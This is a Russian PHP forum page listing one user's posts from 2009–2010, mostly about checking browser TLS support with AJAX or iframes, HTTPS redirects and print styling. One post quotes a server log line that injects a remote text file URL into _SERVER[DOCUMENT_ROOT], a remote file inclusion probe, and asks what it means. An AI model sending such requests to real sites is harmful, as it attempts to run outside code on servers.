PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (14): В начало « ... 4 5 6 7 [8] 9 10 11 12 ... » В конец

> Найдено сообщений: 201
san4es Отправлено: 02 Апреля, 2010 - 09:01:47 • Тема: что это такое? • Форум: Прочее

Ответов: 3
Просмотров: 55
AdMeen пишет:
включена ли директива register_globals?

register_globals выкл. с этим всё понятно.

хотел узнать что даст этот запрос и что с этим можно сделать?
san4es Отправлено: 02 Апреля, 2010 - 07:35:24 • Тема: что это такое? • Форум: Прочее

Ответов: 3
Просмотров: 55
в логах нашёл вот такую строчку -
http://www.moi-sait.ru/?_SERVER[DOCUMENT_ROOT]=http://ajejez.interfree.it/echos.txt%0D??

что бы это значило?
san4es Отправлено: 03 Февраля, 2010 - 09:12:00 • Тема: как сделать редирект? • Форум: Apache и другие веб-серверы

Ответов: 12
Просмотров: 4662
JustUserR пишет:
поменять внутри iframe-а самим iframe-ом параметр window.name или window.hash
не меняется. пишет что отказано в доступе. или я не так делаю...

в iframe'е делаю так -
CODE (javascript):
скопировать код в буфер обмена
  1. self.top.window.frames.tls.name='OK';

JustUserR пишет:
ВАЖНО перевести саму страницу внутри iframe-а на about:blank
это в какой момент делать?
san4es Отправлено: 02 Февраля, 2010 - 08:57:59 • Тема: как сделать редирект? • Форум: Apache и другие веб-серверы

Ответов: 12
Просмотров: 4662
JustUserR пишет:
легко

http://forum.php.su/topic.php?fo...92955#1265092955
san4es Отправлено: 02 Февраля, 2010 - 08:42:35 • Тема: ajax и https • Форум: JavaScript & VBScript

Ответов: 6
Просмотров: 5978
сделал следующим способом, но видимо по причинам описанным выше не работает...
ругаеца на 10 строчку скрипта.
CODE (javascript):
скопировать код в буфер обмена
  1. function loadtls()
  2. {
  3.     window.frames.tls.location.href='https://172.24.0.234/check_tls.php';
  4. }
  5.  
  6. function checktls()
  7. {
  8.     if (document.all.tls.readyState == "complete")
  9.     {
  10.         if (window.frames.tls.document.body.innerHTML.indexOf("OK")>0)
  11.         {
  12.             window.location.href='https://172.24.0.234/'
  13.         }
  14.         else
  15.         {
  16.             alert('Браузер не настроен!');
  17.         }
  18.     }  
  19. }

CODE (html):
скопировать код в буфер обмена
  1. <body onload="loadtls()">
  2. <span onclick="checktls()">Вход</span>
  3. <iframe name="tls" id="tls" style="display: none;"></iframe>
san4es Отправлено: 01 Февраля, 2010 - 12:31:09 • Тема: подсветка слов на странице. • Форум: JavaScript & VBScript

Ответов: 3
Просмотров: 2350
господа.
подскажите какой нить скрипт который подсвечивает слова на странице.
смысл такой - я передаю на страницу переменную со словом которое надо подсветить на всей странице.
пока ничего такого не нашёл. если кто подкинет ссылочку, буду очень благодарен.
san4es Отправлено: 01 Февраля, 2010 - 09:34:11 • Тема: ajax и https • Форум: JavaScript & VBScript

Ответов: 6
Просмотров: 5978
Viper пишет:
юзать iframe

а можно поподробнее. что то пока плохо получается с этим.
как я понял надо повесить некую функцию которая проверяет есть ли содержимое в iframe или нет.
san4es Отправлено: 01 Февраля, 2010 - 08:37:25 • Тема: как сделать редирект? • Форум: Apache и другие веб-серверы

Ответов: 12
Просмотров: 4662
Viper пишет:
если сервер возвращает ошибку, то делается на стороне сервера. например ErrorDocument директива, либо в .htaccess
принудительный редирект с http на https можно сделать так

CODE (htmlphp):
скопировать код в буфер обмена

1.
RewriteCond %{HTTPS} off
2.
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

как я понял, то сервер в этом случае не возвращает ошибку иначе бы об этом была запись с этим номером в логах сервера. но там есть другие записи с непонятно для меня информацией. поетому ErrorDocument бесполезен поскольку нет номера ошибки.
и принудительный редирект не нужен. т.к. клиент всё равно получит "невозможно отобразить страницу".


JustUserR пишет:
Хм я вот сомневаюсь что сервер отправляет ошибку потому что пользователь наверное долбится по другом порту и протоколу и поэтму ничего не получает
san4es Как вариант "в лоб" предлагаю сделать обычную HTTP-страницу и на ней Iframe или AJAX-запрос который запрашивает основной сайт который работает по TLS - и ели ошибки не выдается то редиректится на сайт - а иначе пользователю говорится что надо использовать такой-то протокол

порт стандартный 443. мысли по поводу номера ошибки написал выше. ajax, как я понял, в этом случае не поможет. это первое что я начал делать и завёл отдельную тему http://forum.php.su/topic.php?fo...40&topic=802 . либо я что то не так делаю либо это действительно невозможно.
как воспользоваться iframe я пока не сообразил...
san4es Отправлено: 29 Января, 2010 - 13:16:42 • Тема: как сделать редирект? • Форум: Apache и другие веб-серверы

Ответов: 12
Просмотров: 4662
ситуация такая.
сервер настроен для соединения по протоколу TLS. пользователь долбится на сайт не настроив браузер и получает "невозможно отобразить страницу". можно ли его как то перенаправить в этом случае на другой адрес? или как узнать код ошибки которую вернул сервер (если он в этом случае её возвращает)?
san4es Отправлено: 28 Января, 2010 - 15:48:02 • Тема: ajax и https • Форум: JavaScript & VBScript

Ответов: 6
Просмотров: 5978
с этим всё впорядке.
думал что виноват сертификат который выдан другому серверу (о чем появляется сообщение), но на родном сайте тоже самое (открывается без всяких сообщений). так же был вариант - стояла опция апача спрашивать сертификат. опцию отключил - тоже самое. т.е. скрипты открываются через url строку браузера сразу, а аякс не работает. он принципиально не хочет переходить с http на https.
san4es Отправлено: 28 Января, 2010 - 11:13:49 • Тема: проверить доступность файла по TLS протоколу • Форум: Программирование на PHP

Ответов: 2
Просмотров: 305
такой вариант не работает.
м.б. как то по другому можно?
PHP:
скопировать код в буфер обмена
  1. $filename = 'https://www.123.ru/check_tls.php';
  2.  
  3. if (file($filename)) {
  4.     echo "The file $filename exists";
  5. } else {
  6.     echo "The file $filename does not exist";
  7. }
san4es Отправлено: 28 Января, 2010 - 10:26:09 • Тема: ajax и https • Форум: JavaScript & VBScript

Ответов: 6
Просмотров: 5978
хочу проверить сможет ли пользователь просматривать странички по TLS протоколу.
для этого вот такой ajax скриптик сделал. но он ругаеца на метод OPEN.
что делать?
CODE (javascript):
скопировать код в буфер обмена
  1. var xmlhttp;
  2.  
  3. function check()
  4. {    
  5. xmlhttp = GetXmlHttpObject();
  6.     if (xmlhttp==null)
  7.       {
  8.           alert ("Browser does not support Xml HTTP Request");
  9.           return;
  10.       }
  11.     var url="https://172.24.0.234/check_tls.php";
  12.         url=url+"?sid="+Math.random();
  13.     xmlhttp.onreadystatechange=stateChanged;
  14.     xmlhttp.open("GET",url,true);
  15.     xmlhttp.send(null);
  16. }
  17.  
  18. function stateChanged()
  19. {
  20.     if (xmlhttp.readyState==4)
  21.     {
  22.         if (xmlhttp.status==200)
  23.         {
  24.             if (xmlhttp.responseText == 'OK')
  25.             {
  26.                 window.location.href='https://172.24.0.234/';
  27.             }
  28.         }
  29.         else
  30.         {
  31.             alert("HTTPS error!!!");
  32.         }
  33.     }
  34. }
  35.  
  36.  
  37. function GetXmlHttpObject()
  38. {
  39.     if (typeof XMLHttpRequest != "undefined") {
  40.     return new XMLHttpRequest(); }
  41.     try { return new ActiveXObject("Msxml2.XMLHTTP"); }
  42.     catch (e) { try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} }
  43.  
  44.     return false;
  45. }
  46.  



или можно ещё как то сделать?
смысл в том что некоторые пользователи долбятся не настроив браузер и им выдаётся "невозможно отобразить страницу", а потом задают глупые вопросы.
san4es Отправлено: 28 Декабря, 2009 - 07:00:02 • Тема: вывод на принтер • Форум: HTML, Дизайн & CSS

Ответов: 2
Просмотров: 1697
я так и делаю.
смысл вопроса в том чтобы одой командой скрыть всё и выделить одну таблицу для печати.
san4es Отправлено: 25 Декабря, 2009 - 14:25:37 • Тема: вывод на принтер • Форум: HTML, Дизайн & CSS

Ответов: 2
Просмотров: 1697
как напечатать только один элемент страницы?
указывать всем не нужным элементам display: none; не катит.
можно ли как нить скрыть всё и напечатать другое.
san4es Отправлено: 27 Ноября, 2009 - 08:32:34 • Тема: IE6 и AJAX • Форум: JavaScript & VBScript

Ответов: 2
Просмотров: 1256
работает =)

Страниц (14): В начало « ... 4 5 6 7 [8] 9 10 11 12 ... » В конец
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB